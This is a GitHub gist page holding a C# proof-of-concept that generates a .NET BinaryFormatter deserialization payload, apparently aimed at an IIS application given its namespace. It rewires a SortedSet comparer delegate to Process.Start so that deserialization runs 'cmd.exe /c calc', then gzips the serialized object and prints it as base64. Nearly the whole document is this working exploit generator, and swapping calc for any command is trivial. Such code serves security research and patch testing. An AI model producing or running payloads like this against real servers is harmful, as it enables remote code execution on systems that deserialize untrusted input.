Skip to content

Instantly share code, notes, and snippets.

@hawktrace
Created September 2, 2025 17:53
Show Gist options
  • Save hawktrace/67836c7e9f35b72077b50f220349cd73 to your computer and use it in GitHub Desktop.
Save hawktrace/67836c7e9f35b72077b50f220349cd73 to your computer and use it in GitHub Desktop.

Revisions

  1. hawktrace created this gist Sep 2, 2025.
    42 changes: 42 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,42 @@
    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.IO;
    using System.IO.Compression;
    using System.Reflection;
    using System.Runtime.Serialization.Formatters.Binary;

    namespace hawktraceiis
    {
    class Program
    {
    static void Main(string[] args)
    {
    Delegate da = new Comparison<string>(String.Compare);
    Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
    IComparer<string> comp = Comparer<string>.Create(d);
    SortedSet<string> set = new SortedSet<string>(comp);
    set.Add("cmd.exe");
    set.Add("/c calc");
    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
    object[] invoke_list = d.GetInvocationList();
    invoke_list[1] = new Func<string, string, Process>(Process.Start);
    fi.SetValue(d, invoke_list);
    using (MemoryStream stream = new MemoryStream())
    {
    BinaryFormatter formatter = new BinaryFormatter();
    formatter.Serialize(stream, set);
    using (MemoryStream compst = new MemoryStream())
    {
    using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress))
    {
    stream.Position = 0;
    stream.CopyTo(gzipStream);
    }
    string gzb4 = Convert.ToBase64String(compst.ToArray());
    Console.WriteLine(gzb4);
    }
    }
    }
    }
    }